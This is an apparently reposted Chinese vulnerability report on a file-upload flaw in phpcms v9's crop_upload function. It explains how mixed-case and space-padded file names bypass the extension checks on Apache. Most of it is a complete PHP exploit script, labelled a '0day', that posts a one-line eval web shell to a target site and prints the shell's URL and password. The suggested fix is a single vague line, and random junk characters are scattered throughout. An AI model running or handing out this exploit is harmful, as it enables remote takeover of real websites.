漏洞类型: 文件上传导致任意代码执行
/ u3 K5 T/ v0 B7 {& |9 t
$ M! [* `: {: Q6 }6 m6 b简要描述:! g) t/ U0 j# G4 ^8 {5 M
4 z3 ]: d: f5 f3 [( @4 ]
phpcms v9 getshell (apache)6 A, w7 E# ~/ b: a
详细说明:
, J. K( f1 z; r" \& Z( R6 ]* Q% d* b/ M$ L
漏洞文件:phpcms\modules\attachment\attachments.php( b1 L& E& f* b" \6 s( L; |. w& k
8 r1 X3 \9 x$ Y) }* w
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } : P; { v0 t' B7 @% \+ D- _
后缀检测:phpcms\modules\attachment\functions\global.func.php1 ?. [% L. C. i
3 p( @0 o9 `7 K' ]+ X
( E+ O }, `7 l8 j- S, H- X9 n ?1 q: c, B# l2 [
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } 0 L, a/ r& ]9 S6 j1 l' T9 F, ~
/ Y+ w) e; s2 T
关键函数:
1 Z, }- z4 Z7 b& Q0 N. y. q$ A- v) y7 S# D& b, S! c; Z
/ C$ M* Q/ ~# t k1 H) N, S
) {( M+ E- ^& t( [function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
/ \( J% o3 A0 P( d4 }: e
# ~; _2 W6 [- v) y3 P Fileext函数是对文件后缀名的提取。
{, J$ ]' b. V: ^9 V9 l: L根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php4 {- E8 m9 y3 l
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。! }, u* n; w+ J
我们回到public function crop_upload() 函数中
, o- y2 @1 H4 Gif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
7 C7 M, {3 T* n, F在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数0 k g$ a7 X% D" s, i& |
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
1 M5 a8 d' ^ G; n, D经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。5 N7 D: q# Y+ F }
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
& x# p7 `( f" x) B) }+ ?看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
, z$ r, Y' }# |6 @* e漏洞证明:
2 l" |5 K: k. Y: Z
5 C- r& V# N3 L) ^exp:* H9 o! H/ B9 I# H5 ?
7 ?0 H" V9 i# D" y- Z+ @* I<?php# T! O# N6 c0 J# N2 [" O3 t7 M
error_reporting(E_ERROR);
. z2 [! m0 I; l; F3 J* e" Iset_time_limit(0);- v1 l- ]; c5 l' Y- e* S+ N" G
$pass="ln";2 r; v/ E( L( x7 C- ~+ ~, S8 L0 Q$ F. m
print_r('
% c* i: X! o$ ?' k) T. C& s* @0 K+---------------------------------------------------------------------------+
; f C& P0 q. F' E8 \PHPCms V9 GETSHELL 0DAY * a$ q+ R! D4 k: o3 _
code by L.N.
% j" _4 z: f( u& a" C0 ~
$ L% B$ I% L, q: |) @6 Y. }apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net) j/ d; J# E) ^; ^$ w9 A) E6 C0 m
+---------------------------------------------------------------------------+
0 Q- ]2 _1 h7 Z2 @4 R' P) Q');
( L; }% ?1 j. i3 Y6 y+ ]3 A$ eif ($argc < 2) {; v0 g% ~ x- ^" J! j) Y' `; j' g
print_r('. k. @+ ]' \$ ?2 V7 r/ T6 D4 D4 r
+---------------------------------------------------------------------------+
8 i) E, c4 C( }/ |8 VUsage: php '.$argv[0].' url path
" g6 [/ D9 g& b+ j2 a
0 O3 G- x0 F$ ?0 l* IExample:
; F' s& G/ F8 p" r- ~; m6 S1.php '.$argv[0].' lanu.sinaapp.com S8 ?2 G6 w1 i) Y4 l6 N
2.php '.$argv[0].' lanu.sinaapp.com /phpcms6 _! ]% z3 L1 ~, E, g2 b
+---------------------------------------------------------------------------+
/ v+ k# ?& e, J) N');
) c+ ]3 m. g4 l' G% J! G/ e& h* H0 Nexit;+ {' b4 f+ N. X6 N
}2 v0 u U7 I# L! {7 z! p6 _
8 o. k+ N, ]" P+ k1 n$url = $argv[1];5 W; I* j% |: X/ U, Z5 m
$path = $argv[2];# K3 R3 b: i+ g
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
/ `' M* M) z& p! R% g% [; g2 ], ^( Q$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
$ X' B% _, d6 F* p& Aif($ret=Create_dir($url,$path))- ^" S+ @: d+ r4 s/ y
{% B$ Y" p: J, w W; r: @7 T
//echo $ret;* w2 I" Y2 A6 j! i1 {2 L
$pattern = "|Server:[^,]+?|U";. [) u8 J& A( ?. m) o
preg_match_all($pattern, $ret, $matches);
! x+ r+ g7 q- H' b/ ]if($matches[0][0])
! \3 Q5 s6 \3 K3 A4 c5 ?9 ?{. H/ s* R: r4 j" C3 m$ `0 U
if(strpos($matches[0][0],'Apache') == false)4 }$ ]! V" o- L0 @! L( f
{
' W- P7 @7 Y) C" h, V9 ^3 u& B! L; Eecho "\n亲!此网站不是apache的网站。\n";exit;1 X# h$ `2 v1 p7 H# j; o$ d9 X
}
3 x( w& R5 W( V7 F& ?3 }}
6 c, g# S7 Q0 ` [" }$ret = GetShell($url,$phpshell,$path,$file);, Y$ g% g2 W* [& b% J8 l: x
$pattern = "|http:\/\/[^,]+?\.,?|U";
% Q7 J5 F- D& t* Tpreg_match_all($pattern, $ret, $matches);& |6 K C" V! F5 [# j; W# q
if($matches[0][0])1 N* w2 m8 {* H. q! r
{
. y2 x: G1 G7 f8 d0 f: kecho "\n".'密码为: '.$pass."\n";
& y6 C& H2 t( Z) b2 W! m# Zecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
* ^0 {6 g w! a+ ~, Y}/ ]5 E1 i' B/ ~( W# y
else- k$ T, \" [+ h/ a3 A# c5 D
{
3 }( [3 |4 X/ B' G* f6 V$pattern = "|\/uploadfile\/[^,]+?\.,?|U";4 w. B, b2 t$ y0 T' C* ]( A
preg_match_all($pattern, $ret, $matches);
3 a- X& c) S" d7 L) q/ F5 {. Nif($matches[0][0])
# w- \9 O y n3 Q5 r{3 p1 C% s. M+ A7 H+ T
echo "\n".'密码为: '.$pass."\n";) Y+ F7 V# y8 b9 f4 k
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;6 [% n2 c& } I+ A- \1 c v. E
}
/ X- c# i c/ P: b* |* ~& D5 delse% Q; M: K+ u' O4 K( \$ ^# P/ w
{
6 N# @2 g) e6 E8 U& fecho "\r\n没得到!\n";exit;/ p8 ~) j5 k2 U. d& k
}
5 v( w% y) o7 @" _+ _}; x/ G5 a& c( E ] P
}
/ p# a6 B& x$ V( v* r& p8 e9 f. C* ~- e$ E
function GetShell($url,$shell,$path,$js)! E# Q4 h9 I& ~8 I
{
) H0 B" q: J+ t7 a9 M1 j$content =$shell;- T) \: d4 F$ v3 J9 G4 }4 n
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
( ~/ x. @ X4 v5 W$data .= "Host: ".$url."\r\n";
; h7 V. u0 k( z# ^. t, H* P$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
4 c& F; E/ e6 f, E9 x, E+ F$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";6 I! H" l4 [. a2 y( N1 H
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";) A* i, @: R5 H
$data .= "Connection: close\r\n";
4 C U# b! ~* Z( E$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
0 ]1 D! Z. q( G2 w$data .= $content."\r\n";" F! c3 e* U+ _6 j* X$ E
$ock=fsockopen($url,80);
, ]% |$ }3 |) J4 k2 l, Q, ] Lif (!$ock)7 O" [6 U& w+ @" c
{
% O' L) p: T, x( x! R/ }echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
2 \" Z1 ~. d8 ^ @ S" M}: P8 h# A& R: D
else2 d/ f* `9 L0 s8 @2 i
{" C" S; J# W* @* `
fwrite($ock,$data);; \9 F T- K" i4 G
$resp = '';
i$ c: N |; h" h' G8 u% Ewhile (!feof($ock))
/ Q- q' w7 A3 B& K$ g* ]! b% t! r{
' Q: {) z& V, Z8 ^$resp.=fread($ock, 1024);
7 m) ^7 p; y1 [$ b6 D8 A/ k}2 p& `: G% }) i8 Q
return $resp;1 L) P! `0 ]+ \
}# ]6 q# m* p I6 u8 Y! C6 S) Z
}
6 S, @ P; F+ k* ?$ E. I6 E2 \4 p3 ^3 e ^1 K9 k7 T7 O
function Create_dir($url,$path='')1 ^2 G8 V$ T( \: m3 r
{& U9 d1 V- }: ]" {
$content ='I love you';
" v2 r( I- U' ~9 @( d$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";: d9 w5 u9 _* m5 M% ]! w
$data .= "Host: ".$url."\r\n";
! k2 K& a/ s8 z. I3 L7 q' X7 D$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
/ d! Y2 G% s7 y( R# f4 p' X4 V$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 U' T- p% O; P' }$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
+ ]1 F9 i2 r4 F- ~2 X& @9 ] S6 @5 n$data .= "Connection: close\r\n";
1 k2 u! g2 T; i4 S t q/ V+ R4 d1 v$data .= "Content-Length: ".strlen($content)."\r\n\r\n";: F5 D: {/ r; z) }
$data .= $content."\r\n";
( M9 e* d0 e9 B7 K- F. W$ock=fsockopen($url,80);! f% `' a! W7 t) T
if (!$ock)0 R3 R0 A- Z8 N2 s6 O2 H/ }; x
{3 z/ g, G$ S8 P' ~2 t" z4 R
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
: F2 X% u" r0 a2 u}9 Y8 I; I0 [9 t8 F: z, Y- ]
fwrite($ock,$data);/ M, ^) ~) e1 V+ s, J4 E2 m
$resp = '';
8 h3 T |5 w2 g. Y/ T8 Mwhile (!feof($ock))
- Q' {3 t- c/ t; W4 z% U: g{* D) U* b& R- S/ g( ~& V
$resp.=fread($ock, 1024);
& T! H$ u `" A b# D}
: j+ @* d* q# Freturn $resp;; V. V q" O- n3 B* `! i
}
+ @9 x, D2 F( J- s" }% i?>
! W7 n4 G5 ?/ W$ E' W& R; c, u2 U
) Y4 I! g/ L8 i. W修复方案:
8 ~9 O5 n0 v9 Q" `
- B: k# j; x. F' b4 c过滤过滤再过滤! {. Z# F" f/ m5 E4 g
( E# n" v" q4 i! U# z, E: w |